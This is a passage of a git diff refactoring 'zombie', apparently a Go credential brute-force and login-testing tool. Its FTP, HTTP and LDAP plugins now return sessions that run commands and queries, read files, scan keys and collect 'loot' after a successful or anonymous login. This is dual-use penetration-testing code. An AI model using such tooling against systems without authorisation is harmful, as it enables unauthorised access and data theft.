h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= @@ -953,5 +985,5 @@ honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9 rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= -sigs.k8s.io/yaml v1.4.0 h1:Mk1wCc2gy/F0THH0TAp1QYyJNzRm2KCLy3o5ASXVI5E= -sigs.k8s.io/yaml v1.4.0/go.mod h1:Ejl7/uTz7PSA4eKMyQCUTnhZYNmLIl+5c2lQPGR2BPY= +sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs= +sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4= diff --git a/pkg/action.go b/pkg/action.go new file mode 100644 index 0000000..858b78d --- /dev/null +++ b/pkg/action.go @@ -0,0 +1,16 @@ +package pkg + +import ( + "github.com/chainreactors/fingers/common" + "github.com/chainreactors/parsers" +) + +type ActionResult struct { + Extracteds parsers.Extracteds + Vulns common.Vulns + Loot map[string][]byte +} +type Action interface { + Name() string + Run(session Session, task *Task) (*ActionResult, error) +} diff --git a/pkg/session.go b/pkg/session.go new file mode 100644 index 0000000..e9157dd --- /dev/null +++ b/pkg/session.go @@ -0,0 +1,60 @@ +package pkg + +type Session interface { + Service() string + Close() error + Raw() interface{} +} + +type ShellSession interface { + Session + Exec(cmd string) ([]byte, error) +} + +type SQLSession interface { + Session + Query(query string, args ...any) ([][]string, error) + Databases() ([]string, error) +} + +type KVSession interface { + Session + Get(key string) ([]byte, error) + Keys(pattern string) ([]string, error) +} + +type FileSession interface { + Session + List(path string) ([]string, error) + Read(path string) ([]byte, error) +} + +type DirectorySession interface { + Session + Search(baseDN, filter string, attrs []string) ([]map[string][]string, error) +} + +func AsShell(s Session) (ShellSession, bool) { + ss, ok := s.(ShellSession) + return ss, ok +} + +func AsSQL(s Session) (SQLSession, bool) { + ss, ok := s.(SQLSession) + return ss, ok +} + +func AsKV(s Session) (KVSession, bool) { + ss, ok := s.(KVSession) + return ss, ok +} + +func AsFile(s Session) (FileSession, bool) { + ss, ok := s.(FileSession) + return ss, ok +} + +func AsDirectory(s Session) (DirectorySession, bool) { + ss, ok := s.(DirectorySession) + return ss, ok +} diff --git a/pkg/types.go b/pkg/types.go index abfaaf1..e3fb1cb 100644 --- a/pkg/types.go +++ b/pkg/types.go @@ -237,11 +237,33 @@ func NewResult(task *Task, err error) *Result { } type Result struct { - *Task `json:",inline"` - Vulns common.Vulns `json:"vulns,omitempty"` - Extracteds parsers.Extracteds `json:"extracteds,omitempty"` - OK bool `json:"ok,omitempty"` - Err error `json:"err,omitempty"` + *Task `json:",inline"` + Vulns common.Vulns `json:"vulns,omitempty"` + Extracteds parsers.Extracteds `json:"extracteds,omitempty"` + OK bool `json:"ok,omitempty"` + Err error `json:"err,omitempty"` + ActionResults []*ActionResult `json:"action_results,omitempty"` + Loot map[string][]byte `json:"loot,omitempty"` +} + +func (r *Result) Merge(ar *ActionResult) { + if ar == nil { + return + } + r.Extracteds = append(r.Extracteds, ar.Extracteds...) + for k, v := range ar.Vulns { + if r.Vulns == nil { + r.Vulns = make(common.Vulns) + } + r.Vulns[k] = v + } + for k, v := range ar.Loot { + if r.Loot == nil { + r.Loot = map[string][]byte{} + } + r.Loot[k] = v + } + r.ActionResults = append(r.ActionResults, ar) } type runOpt struct { diff --git a/plugin/Dispatch.go b/plugin/Dispatch.go deleted file mode 100644 index 3896d55..0000000 --- a/plugin/Dispatch.go +++ /dev/null @@ -1,132 +0,0 @@ -package plugin - -import ( - "errors" - "github.com/chainreactors/zombie/pkg" - "github.com/chainreactors/zombie/plugin/ftp" - "github.com/chainreactors/zombie/plugin/http" - "github.com/chainreactors/zombie/plugin/ldap" - "github.com/chainreactors/zombie/plugin/memcache" - "github.com/chainreactors/zombie/plugin/mongo" - "github.com/chainreactors/zombie/plugin/mq" - "github.com/chainreactors/zombie/plugin/mssql" - "github.com/chainreactors/zombie/plugin/mysql" - "github.com/chainreactors/zombie/plugin/neutron" - "github.com/chainreactors/zombie/plugin/oracle" - "github.com/chainreactors/zombie/plugin/pop3" - "github.com/chainreactors/zombie/plugin/postgre" - "github.com/chainreactors/zombie/plugin/rdp" - "github.com/chainreactors/zombie/plugin/redis" - "github.com/chainreactors/zombie/plugin/rsync" - "github.com/chainreactors/zombie/plugin/smb" - "github.com/chainreactors/zombie/plugin/snmp" - "github.com/chainreactors/zombie/plugin/socks5" - "github.com/chainreactors/zombie/plugin/ssh" - "github.com/chainreactors/zombie/plugin/vnc" - "github.com/chainreactors/zombie/plugin/zookeeper" -) - -var ( - ErrKnownPlugin = errors.New("not found plugin") -) - -type Plugin interface { - Name() string - Unauth() (bool, error) - Login() error - Close() error - GetResult() *pkg.Result -} - -func Dispatch(task *pkg.Task) Plugin { - switch task.Service { - case pkg.POSTGRESQLService.String(): - return &postgre.PostgresPlugin{ - Task: task, - Dbname: task.Param["dbname"], - } - case pkg.MSSQLService.String(): - return &mssql.MssqlPlugin{ - Task: task, - Instance: task.Param["instance"], - } - case pkg.MYSQLService.String(): - return &mysql.MysqlPlugin{Task: task} - case pkg.ORACLEService.String(): - return &oracle.OraclePlugin{ - Task: task, - SID: task.Param["sid"], - ServiceName: task.Param["service_name"], - } - case pkg.SNMPService.String(): - return &snmp.SnmpPlugin{Task: task} - case pkg.SSHService.String(): - return &ssh.SshPlugin{ - Task: task, - } - case pkg.RDPService.String(): - return &rdp.RdpPlugin{Task: task} - case pkg.SMBService.String(): - return &smb.SmbPlugin{Task: task} - case pkg.FTPService.String(): - return &ftp.FtpPlugin{Task: task} - case pkg.MONGOService.String(): - return &mongo.MongoPlugin{Task: task} - case pkg.VNCService.String(): - return &vnc.VNCPlugin{Task: task} - case pkg.REDISService.String(): - return &redis.RedisPlugin{Task: task} - case pkg.LDAPService.String(): - return &ldap.LdapPlugin{Task: task} - case pkg.HTTPService.String(): - return &http.HttpAuthPlugin{ - Task: task, - Path: task.Param["path"], - Host: task.Param["host"], - } - case pkg.HTTPSService.String(): - return &http.HttpAuthPlugin{ - Task: task, - Path: task.Param["path"], - Host: task.Param["host"], - } - case pkg.HTTPProxyService.String(): - return &http.HTTPProxyPlugin{ - Task: task, - TestURL: task.Param["url"], - } - case pkg.HTTPDigestService.String(): - return &http.HTTPDigestPlugin{ - Task: task, - } - case pkg.GETService.String(): - return http.NewHTTPPlugin("GET", task) - case pkg.PostService.String(): - return http.NewHTTPPlugin("POST", task) - case pkg.SOCKS5Service.String(): - task.Timeout = 10 - return &socks5.Socks5Plugin{ - Task: task, - Url: task.Param["url"], - } - //case pkg.TELNETService: - // return &telnet.TelnetPlugin{Task: task}, nil - case pkg.POP3Service.String(): - return &pop3.Pop3Plugin{Task: task} - case pkg.RSYNCService.String(): - return &rsync.RsyncPlugin{Task: task} - case pkg.ZookeeperService.String(): - return &zookeeper.ZookeeperPlugin{Task: task} - case pkg.MemcachedService.String(): - return &memcache.MemcachePlugin{Task: task} - case pkg.MqttService.String(): - return &mq.MQTTPlugin{Task: task} - case pkg.AmqpService.String(): - return &mq.AMQPPlugin{Task: task} - default: - return &neutron.NeutronPlugin{ - Task: task, - Service: task.Service, - } - } -} diff --git a/plugin/ftp/ftp.go b/plugin/ftp/ftp.go index 7b7ddcb..2efe60b 100644 --- a/plugin/ftp/ftp.go +++ b/plugin/ftp/ftp.go @@ -1,69 +1,88 @@ package ftp import ( + "io" + "github.com/chainreactors/zombie/pkg" "github.com/jlaffaye/ftp" ) -type FtpPlugin struct { - *pkg.Task - Input string - conn *ftp.ServerConn +// ftpSession implements pkg.FileSession over an authenticated FTP connection. +type ftpSession struct { + service string + conn *ftp.ServerConn } -func (s *FtpPlugin) Name() string { - return s.Service +func (s *ftpSession) Service() string { return s.service } +func (s *ftpSession) Raw() interface{} { return s.conn } + +func (s *ftpSession) Close() error { + if s.conn != nil { + return s.conn.Quit() + } + return nil } -// dial 通过 task 配置(含代理)建立 FTP 控制连接。 -func (s *FtpPlugin) dial() (*ftp.ServerConn, error) { - netConn, err := s.DialTimeout("tcp", s.Address(), s.Duration()) +func (s *ftpSession) List(path string) ([]string, error) { + entries, err := s.conn.List(path) if err != nil { return nil, err } - conn, err := ftp.Dial(s.Address(), ftp.DialWithNetConn(netConn)) + names := make([]string, len(entries)) + for i, e := range entries { + names[i] = e.Name + } + return names, nil +} + +func (s *ftpSession) Read(path string) ([]byte, error) { + resp, err := s.conn.Retr(path) if err != nil { - netConn.Close() return nil, err } - return conn, nil + defer resp.Close() + return io.ReadAll(resp) } -func (s *FtpPlugin) Unauth() (bool, error) { - conn, err := s.dial() +// FtpPlugin is stateless; all connection state lives in ftpSession. +type FtpPlugin struct{} + +func (p *FtpPlugin) Name() string { return "ftp" } + +// dial establishes an FTP control connection using the task's proxy-aware dialer. +func (p *FtpPlugin) dial(task *pkg.Task) (*ftp.ServerConn, error) { + netConn, err := task.DialTimeout("tcp", task.Address(), task.Duration()) if err != nil { - return false, err + return nil, err } - err = conn.Login("anonymous", "") + conn, err := ftp.Dial(task.Address(), ftp.DialWithNetConn(netConn)) if err != nil { - return false, err + netConn.Close() + return nil, err } - s.conn = conn - return true, nil + return conn, nil } -func (s *FtpPlugin) Login() error { - conn, err := s.dial() +func (p *FtpPlugin) Open(task *pkg.Task) (pkg.Session, error) { + conn, err := p.dial(task) if err != nil { - return err + return nil, err } - err = conn.Login(s.Username, s.Password) - if err != nil { - return err + if err := conn.Login(task.Username, task.Password); err != nil { + conn.Quit() + return nil, err } - - s.conn = conn - return nil -} - -func (s *FtpPlugin) GetResult() *pkg.Result { - // todo list root dir - return &pkg.Result{Task: s.Task, OK: true} + return &ftpSession{service: task.Service, conn: conn}, nil } -func (s *FtpPlugin) Close() error { - if s.conn != nil { - return s.conn.Quit() +func (p *FtpPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + conn, err := p.dial(task) + if err != nil { + return nil, err } - return nil + if err := conn.Login("anonymous", ""); err != nil { + conn.Quit() + return nil, err + } + return &ftpSession{service: task.Service, conn: conn}, nil } diff --git a/plugin/http/auth.go b/plugin/http/auth.go index 26473c8..a3adea0 100644 --- a/plugin/http/auth.go +++ b/plugin/http/auth.go @@ -6,49 +6,52 @@ import ( "net/http" ) -type HttpAuthPlugin struct { - *pkg.Task - Path string `json:"path"` - Host string `json:"host"` - Method string `json:"method"` +// httpAuthSession implements pkg.Session for HTTP basic auth. +// HTTP is stateless, so Close is a no-op and Raw returns the http.Client. +type httpAuthSession struct { + service string + client *http.Client } -func (s *HttpAuthPlugin) Name() string { - return s.Service -} +func (s *httpAuthSession) Service() string { return s.service } +func (s *httpAuthSession) Raw() interface{} { return s.client } +func (s *httpAuthSession) Close() error { return nil } -func (s *HttpAuthPlugin) Unauth() (bool, error) { - return false, nil -} +// HttpAuthPlugin is stateless; all connection state lives in httpAuthSession. +type HttpAuthPlugin struct{} + +func (p *HttpAuthPlugin) Name() string { return "http" } + +func (p *HttpAuthPlugin) Open(task *pkg.Task) (pkg.Session, error) { + path := task.Param["path"] + host := task.Param["host"] + method := task.Param["method"] -func (s *HttpAuthPlugin) Login() error { - url := fmt.Sprintf("%s://%s:%s/%s", s.Service, s.IP, s.Port, s.Path) - if s.Method == "" { - s.Method = "GET" + url := fmt.Sprintf("%s://%s:%s/%s", task.Service, task.IP, task.Port, path) + if method == "" { + method = "GET" } - req, err := http.NewRequest(s.Method, url, nil) + req, err := http.NewRequest(method, url, nil) if err != nil { - return err + return nil, err } - if s.Host != "" { - req.Host = s.Host + if host != "" { + req.Host = host } req.Header.Set("User-Agent", pkg.RandomUA()) - req.SetBasicAuth(s.Username, s.Password) - resp, err := s.HTTPClient(true).Do(req) + req.SetBasicAuth(task.Username, task.Password) + + client := task.HTTPClient(true) + resp, err := client.Do(req) if err != nil { - return err + return nil, err } if resp.StatusCode != 200 { - return pkg.ErrorWrongUserOrPwd + return nil, pkg.ErrorWrongUserOrPwd } - return nil -} - -func (s *HttpAuthPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} + return &httpAuthSession{service: task.Service, client: client}, nil } -func (s *HttpAuthPlugin) Close() error { - return nil +func (p *HttpAuthPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } diff --git a/plugin/http/digest.go b/plugin/http/digest.go index 0570d9e..c059554 100644 --- a/plugin/http/digest.go +++ b/plugin/http/digest.go @@ -3,48 +3,48 @@ package http import ( "fmt" "github.com/chainreactors/zombie/pkg" - "github.com/xinsnake/go-http-digest-auth-client" + digest_auth_client "github.com/xinsnake/go-http-digest-auth-client" "net/http" ) -type HTTPDigestPlugin struct { - *pkg.Task +// httpDigestSession implements pkg.Session for HTTP digest auth. +// HTTP is stateless, so Close is a no-op and Raw returns the http.Client. +type httpDigestSession struct { + service string + client *http.Client } -func (s *HTTPDigestPlugin) Name() string { - return s.Service -} +func (s *httpDigestSession) Service() string { return s.service } +func (s *httpDigestSession) Raw() interface{} { return s.client } +func (s *httpDigestSession) Close() error { return nil } -func (s *HTTPDigestPlugin) Unauth() (bool, error) { - return false, nil -} +// HTTPDigestPlugin is stateless; all connection state lives in httpDigestSession. +type HTTPDigestPlugin struct{} + +func (p *HTTPDigestPlugin) Name() string { return "digest" } -func (s *HTTPDigestPlugin) Login() error { - u := fmt.Sprintf("%s://%s:%s/", s.Service, s.IP, s.Port) +func (p *HTTPDigestPlugin) Open(task *pkg.Task) (pkg.Session, error) { + u := fmt.Sprintf("%s://%s:%s/", task.Service, task.IP, task.Port) req, err := http.NewRequest("GET", u, nil) if err != nil { - return err + return nil, err } - digestClient := digest_auth_client.NewRequest(s.Username, s.Password, "GET", u, "") - // 路由 digest 请求经 per-task 代理客户端(零全局)。 - digestClient.HTTPClient = s.HTTPClient(true) + digestClient := digest_auth_client.NewRequest(task.Username, task.Password, "GET", u, "") + client := task.HTTPClient(true) + digestClient.HTTPClient = client resp, err := digestClient.HTTPClient.Do(req) if err != nil { - return err + return nil, err } defer resp.Body.Close() if resp.StatusCode != 200 { - return fmt.Errorf("failed to connect with digest auth, status code: %d", resp.StatusCode) + return nil, fmt.Errorf("failed to connect with digest auth, status code: %d", resp.StatusCode) } - return nil -} - -func (s *HTTPDigestPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} + return &httpDigestSession{service: task.Service, client: client}, nil } -func (s *HTTPDigestPlugin) Close() error { - return nil +func (p *HTTPDigestPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } diff --git a/plugin/http/http.go b/plugin/http/http.go index 1b5d1c5..66d6d3d 100644 --- a/plugin/http/http.go +++ b/plugin/http/http.go @@ -13,192 +13,197 @@ import ( "strings" ) -func NewHTTPPlugin(method string, task *pkg.Task) *HTTPPlugin { - plugin := &HTTPPlugin{ - Task: task, - Method: method, - Path: task.Param["path"], - Host: task.Param["host"], - Type: task.Param["type"], - Header: make(map[string]string), - Forms: make(map[string]string), - Params: make(map[string]string), - //Keymap: make(map[string]string), +// httpSession implements pkg.Session for HTTP GET/POST login. +// HTTP is stateless, so Close is a no-op and Raw returns the http.Client. +type httpSession struct { + service string + client *http.Client +} + +func (s *httpSession) Service() string { return s.service } +func (s *httpSession) Raw() interface{} { return s.client } +func (s *httpSession) Close() error { return nil } + +// HTTPPlugin is stateless; all per-request state is derived from the task. +type HTTPPlugin struct { + Method string +} + +func NewHTTPPlugin(method string) *HTTPPlugin { + return &HTTPPlugin{Method: method} +} + +func (p *HTTPPlugin) Name() string { return strings.ToLower(p.Method) } + +func (p *HTTPPlugin) Open(task *pkg.Task) (pkg.Session, error) { + path := task.Param["path"] + host := task.Param["host"] + contentType := task.Param["type"] + matchStatus := task.Param["match_status"] + matchBody := task.Param["match_body"] + matchHeader := task.Param["match_header"] + + scheme := task.Scheme + if scheme == "" { + scheme = "http" } - if task.Scheme == "" { - plugin.Scheme = "http" + if matchStatus == "" { + matchStatus = "200" } - if task.Param["match_status"] == "" { - plugin.MatchStatus = "200" + u := fmt.Sprintf("%s://%s:%s/%s", scheme, task.IP, task.Port, path) + method := p.Method + if method == "" { + method = "GET" } + + // Build params / forms from task.Param + params := make(map[string]string) + forms := make(map[string]string) + headers := make(map[string]string) + if method == "GET" { if userParam, ok := task.Param["username"]; ok { - plugin.Params["username"] = userParam + params["username"] = userParam } else { - plugin.Params["username"] = "username" + params["username"] = "username" } if passParam, ok := task.Param["password"]; ok { - plugin.Params["password"] = passParam + params["password"] = passParam } else { - plugin.Params["password"] = "password" + params["password"] = "password" } } else if method == "POST" { if userParam, ok := task.Param["username"]; ok { - plugin.Forms["username"] = userParam + forms["username"] = userParam } else { - plugin.Forms["username"] = "username" + forms["username"] = "username" } if passParam, ok := task.Param["password"]; ok { - plugin.Forms["password"] = passParam + forms["password"] = passParam } else { - plugin.Forms["password"] = "password" + forms["password"] = "password" } } - return plugin -} - -type HTTPPlugin struct { - *pkg.Task - Path string `json:"path"` - Host string `json:"host"` - Method string `json:"method"` - Header map[string]string `json:"header"` - Forms map[string]string `json:"forms"` - Params map[string]string `json:"params"` // map username/password param name to target param name - Keymap map[string]string `json:"keymap"` - Type string `json:"type"` - MatchStatus string `json:"match_status"` - MatchBody string `json:"match_body"` - MatchHeader string `json:"match_header"` -} - -func (s *HTTPPlugin) Name() string { - return s.Service -} - -func (s *HTTPPlugin) Unauth() (bool, error) { - return false, pkg.NotImplUnauthorized -} - -func (s *HTTPPlugin) Login() error { - u := fmt.Sprintf("%s://%s:%s/%s", s.Scheme, s.IP, s.Port, s.Path) - if s.Method == "" { - s.Method = "GET" - } - var reqBody []byte - var err error + client := task.HTTPClient(true) - if len(s.Params) > 0 { - // 使用 Params + if len(params) > 0 { query := url.Values{} - for key, value := range s.Params { + for key, value := range params { if key == "username" { - query.Set(value, s.Task.Username) + query.Set(value, task.Username) } else if key == "password" { - query.Set(value, s.Task.Password) + query.Set(value, task.Password) } else { query.Set(key, value) } } - reqBody = []byte(query.Encode()) - req, err := http.NewRequest(s.Method, u+"?"+query.Encode(), nil) + req, err := http.NewRequest(method, u+"?"+query.Encode(), nil) if err != nil { - return err + return nil, err } - s.setupRequestHeaders(req) - resp, err := s.HTTPClient(true).Do(req) + setupRequestHeaders(req, host, headers) + resp, err := client.Do(req) if err != nil { - return err + return nil, err } defer resp.Body.Close() if resp.StatusCode != 200 { - return pkg.ErrorWrongUserOrPwd + return nil, pkg.ErrorWrongUserOrPwd } - return nil - } else if len(s.Forms) > 0 { - // 使用 Forms + return &httpSession{service: task.Service, client: client}, nil + } else if len(forms) > 0 { formData := url.Values{} - for key, value := range s.Forms { + for key, value := range forms { if key == "username" { - formData.Set(value, s.Task.Username) + formData.Set(value, task.Username) } else if key == "password" { - formData.Set(value, s.Task.Password) + formData.Set(value, task.Password) } else { formData.Set(key, value) } } - if s.Type == "json" { + var reqBody []byte + var err error + if contentType == "json" { reqBody, err = json.Marshal(formData) if err != nil { - return err + return nil, err } - } else if s.Type == "xml" { + } else if contentType == "xml" { reqBody, err = xml.Marshal(formData) if err != nil { - return err + return nil, err } } else { reqBody = []byte(formData.Encode()) } - req, err := http.NewRequest(s.Method, u, bytes.NewBuffer(reqBody)) + req, err := http.NewRequest(method, u, bytes.NewBuffer(reqBody)) if err != nil { - return err + return nil, err } - s.setupRequestHeaders(req) - if s.Type == "json" { + setupRequestHeaders(req, host, headers) + if contentType == "json" { req.Header.Set("Content-Type", "application/json") - } else if s.Type == "xml" { + } else if contentType == "xml" { req.Header.Set("Content-Type", "application/xml") } else { req.Header.Set("Content-Type", "application/x-www-form-urlencoded") } - resp, err := s.HTTPClient(true).Do(req) + resp, err := client.Do(req) if err != nil { - return err + return nil, err } - return s.matchResponse(resp) + err = matchResponse(resp, matchStatus, matchBody, matchHeader) + if err != nil { + return nil, err + } + return &httpSession{service: task.Service, client: client}, nil } - return fmt.Errorf("no valid params or form data provided") + return nil, fmt.Errorf("no valid params or form data provided") } -func (s *HTTPPlugin) setupRequestHeaders(req *http.Request) { - if s.Host != "" { - req.Host = s.Host +func (p *HTTPPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized +} + +func setupRequestHeaders(req *http.Request, host string, headers map[string]string) { + if host != "" { + req.Host = host } req.Header.Set("User-Agent", pkg.RandomUA()) - for key, value := range s.Header { + for key, value := range headers { req.Header.Set(key, value) } } -func (s *HTTPPlugin) matchResponse(resp *http.Response) error { - if iutils.ToString(resp.StatusCode) != s.MatchStatus { +func matchResponse(resp *http.Response, matchStatus, matchBody, matchHeader string) error { + if iutils.ToString(resp.StatusCode) != matchStatus { return pkg.ErrorWrongUserOrPwd } - if s.MatchBody != "" { + if matchBody != "" { bodyBytes, err := ioutil.ReadAll(resp.Body) if err != nil { return err } bodyString := string(bodyBytes) - if !strings.Contains(bodyString, s.MatchBody) { + if !strings.Contains(bodyString, matchBody) { return pkg.ErrorWrongUserOrPwd } } - if s.MatchHeader != "" { + if matchHeader != "" { matchFound := false for key, values := range resp.Header { for _, value := range values { - if key == s.MatchHeader || value == s.MatchHeader { + if key == matchHeader || value == matchHeader { matchFound = true break } @@ -214,12 +219,3 @@ func (s *HTTPPlugin) matchResponse(resp *http.Response) error { return nil } - -func (s *HTTPPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *HTTPPlugin) Close() error { - return nil -} diff --git a/plugin/http/proxy.go b/plugin/http/proxy.go index 18c0834..726565f 100644 --- a/plugin/http/proxy.go +++ b/plugin/http/proxy.go @@ -7,91 +7,91 @@ import ( "net/url" ) -type HTTPProxyPlugin struct { - *pkg.Task - TestURL string `json:"url"` +// httpProxySession implements pkg.Session for HTTP proxy test results. +// HTTP is stateless, so Close is a no-op. +type httpProxySession struct { + service string + client *http.Client } -func (s *HTTPProxyPlugin) Name() string { - return s.Service -} +func (s *httpProxySession) Service() string { return s.service } +func (s *httpProxySession) Raw() interface{} { return s.client } +func (s *httpProxySession) Close() error { return nil } + +// HTTPProxyPlugin is stateless; all connection state lives in httpProxySession. +type HTTPProxyPlugin struct{} + +func (p *HTTPProxyPlugin) Name() string { return "http_proxy" } -func (s *HTTPProxyPlugin) Unauth() (bool, error) { - proxyURL, err := url.Parse(fmt.Sprintf("%s://%s:%s", s.Scheme, s.IP, s.Port)) +func (p *HTTPProxyPlugin) Open(task *pkg.Task) (pkg.Session, error) { + proxyURL, err := url.Parse(fmt.Sprintf("%s://%s:%s", task.Scheme, task.IP, task.Port)) if err != nil { - return false, err + return nil, err } - if s.TestURL == "" { - s.TestURL = "http://baidu.com" + // Set proxy authentication + proxyURL.User = url.UserPassword(task.Username, task.Password) + + testURL := task.Param["url"] + if testURL == "" { + testURL = "http://baidu.com" } transport := &http.Transport{Proxy: http.ProxyURL(proxyURL)} client := &http.Client{Transport: transport} - req, err := http.NewRequest("GET", s.TestURL, nil) + req, err := http.NewRequest("GET", testURL, nil) if err != nil { - return false, err + return nil, err } resp, err := client.Do(req) if err != nil { - return false, err + return nil, err } defer resp.Body.Close() - // 检查是否通过认证 if resp.StatusCode == http.StatusProxyAuthRequired { - return false, pkg.ErrorWrongUserOrPwd + return nil, pkg.ErrorWrongUserOrPwd } if resp.StatusCode != http.StatusOK { - return false, fmt.Errorf("unexpected status code: %d", resp.StatusCode) + return nil, fmt.Errorf("unexpected status code: %d", resp.StatusCode) } - s.Username = "" - return true, nil + + return &httpProxySession{service: task.Service, client: client}, nil } -func (s *HTTPProxyPlugin) Login() error { - proxyURL, err := url.Parse(fmt.Sprintf("%s://%s:%s", s.Scheme, s.IP, s.Port)) +func (p *HTTPProxyPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + proxyURL, err := url.Parse(fmt.Sprintf("%s://%s:%s", task.Scheme, task.IP, task.Port)) if err != nil { - return err + return nil, err } - // 设置代理认证 - proxyURL.User = url.UserPassword(s.Username, s.Password) - if s.TestURL == "" { - s.TestURL = "http://baidu.com" + testURL := task.Param["url"] + if testURL == "" { + testURL = "http://baidu.com" } transport := &http.Transport{Proxy: http.ProxyURL(proxyURL)} client := &http.Client{Transport: transport} - req, err := http.NewRequest("GET", s.TestURL, nil) + req, err := http.NewRequest("GET", testURL, nil) if err != nil { - return err + return nil, err } resp, err := client.Do(req) if err != nil { - return err + return nil, err } defer resp.Body.Close() - // 检查是否通过认证 if resp.StatusCode == http.StatusProxyAuthRequired { - return pkg.ErrorWrongUserOrPwd + return nil, pkg.ErrorWrongUserOrPwd } if resp.StatusCode != http.StatusOK { - return fmt.Errorf("unexpected status code: %d", resp.StatusCode) + return nil, fmt.Errorf("unexpected status code: %d", resp.StatusCode) } - return nil -} - -func (s *HTTPProxyPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *HTTPProxyPlugin) Close() error { - return nil + return &httpProxySession{service: task.Service, client: client}, nil } diff --git a/plugin/internal/kvsess/kvsess.go b/plugin/internal/kvsess/kvsess.go new file mode 100644 index 0000000..dcc5369 --- /dev/null +++ b/plugin/internal/kvsess/kvsess.go @@ -0,0 +1,39 @@ +package kvsess + +import ( + "github.com/go-redis/redis" +) + +type RedisSession struct { + Client *redis.Client + SvcName string +} + +func (s *RedisSession) Service() string { return s.SvcName } +func (s *RedisSession) Close() error { return s.Client.Close() } +func (s *RedisSession) Raw() interface{} { return s.Client } + +func (s *RedisSession) Get(key string) ([]byte, error) { + val, err := s.Client.Get(key).Bytes() + if err == redis.Nil { + return nil, nil + } + return val, err +} + +func (s *RedisSession) Keys(pattern string) ([]string, error) { + var allKeys []string + var cursor uint64 + for { + keys, next, err := s.Client.Scan(cursor, pattern, 100).Result() + if err != nil { + return allKeys, err + } + allKeys = append(allKeys, keys...) + cursor = next + if cursor == 0 { + break + } + } + return allKeys, nil +} diff --git a/plugin/internal/sqlsess/sqlsess.go b/plugin/internal/sqlsess/sqlsess.go new file mode 100644 index 0000000..077c46a --- /dev/null +++ b/plugin/internal/sqlsess/sqlsess.go @@ -0,0 +1,84 @@ +package sqlsess + +import ( + "database/sql" + "fmt" +) + +type Session struct { + DB *sql.DB + SvcName string +} + +func (s *Session) Service() string { return s.SvcName } +func (s *Session) Close() error { return s.DB.Close() } +func (s *Session) Raw() interface{} { return s.DB } + +func (s *Session) Query(query string, args ...any) ([][]string, error) { + rows, err := s.DB.Query(query, args...) + if err != nil { + return nil, err + } + defer rows.Close() + + cols, err := rows.Columns() + if err != nil { + return nil, err + } + ncol := len(cols) + + var result [][]string + result = append(result, cols) + + vals := make([]sql.NullString, ncol) + ptrs := make([]interface{}, ncol) + for i := range vals { + ptrs[i] = &vals[i] + } + + for rows.Next() { + if err := rows.Scan(ptrs...); err != nil { + continue + } + row := make([]string, ncol) + for i, v := range vals { + if v.Valid { + row[i] = v.String + } + } + result = append(result, row) + } + return result, rows.Err() +} + +func (s *Session) Databases() ([]string, error) { + var query string + switch s.SvcName { + case "mysql": + query = "SHOW DATABASES" + case "postgresql": + query = "SELECT datname FROM pg_database WHERE datistemplate = false" + case "mssql": + query = "SELECT name FROM sys.databases" + case "oracle": + query = "SELECT DISTINCT owner FROM all_tables" + default: + return nil, fmt.Errorf("unsupported service: %s", s.SvcName) + } + + rows, err := s.Query(query) + if err != nil { + return nil, err + } + + var dbs []string + for i, row := range rows { + if i == 0 { + continue + } + if len(row) > 0 { + dbs = append(dbs, row[0]) + } + } + return dbs, nil +} diff --git a/plugin/ldap/ldap.go b/plugin/ldap/ldap.go index 214a6e0..6a14574 100644 --- a/plugin/ldap/ldap.go +++ b/plugin/ldap/ldap.go @@ -1,68 +1,70 @@ package ldap import ( + "errors" + "github.com/chainreactors/zombie/pkg" ldap "github.com/go-ldap/ldap/v3" ) -type LdapPlugin struct { - *pkg.Task - Input string - conn *ldap.Conn -} - -func (s *LdapPlugin) Unauth() (bool, error) { - //TODO implement me - return false, nil +// ldapSession implements pkg.DirectorySession over a bound LDAP connection. +type ldapSession struct { + service string + conn *ldap.Conn } -//func (s *LdapPlugin) Query() bool { -// panic("implement me") -//} - -func (s *LdapPlugin) Login() error { - var conn *ldap.Conn - ldap.DefaultTimeout = s.Duration() - conn, err := ldap.Dial("tcp", s.Address()) - - if err != nil { - return err - } - - err = conn.Bind(s.Username, s.Password) - if err != nil { - return err - } - - s.conn = conn - return nil -} +func (s *ldapSession) Service() string { return s.service } +func (s *ldapSession) Raw() interface{} { return s.conn } -func (s *LdapPlugin) Close() error { +func (s *ldapSession) Close() error { if s.conn != nil { return s.conn.Close() } return nil } -func (s *LdapPlugin) Name() string { - return s.Service +func (s *ldapSession) Search(baseDN, filter string, attrs []string) ([]map[string][]string, error) { + req := ldap.NewSearchRequest( + baseDN, + ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, + filter, + attrs, + nil, + ) + res, err := s.conn.Search(req) + if err != nil { + return nil, err + } + results := make([]map[string][]string, 0, len(res.Entries)) + for _, entry := range res.Entries { + m := make(map[string][]string, len(entry.Attributes)+1) + m["dn"] = []string{entry.DN} + for _, attr := range entry.Attributes { + m[attr.Name] = attr.Values + } + results = append(results, m) + } + return results, nil } -func (s *LdapPlugin) GetResult() *pkg.Result { - // 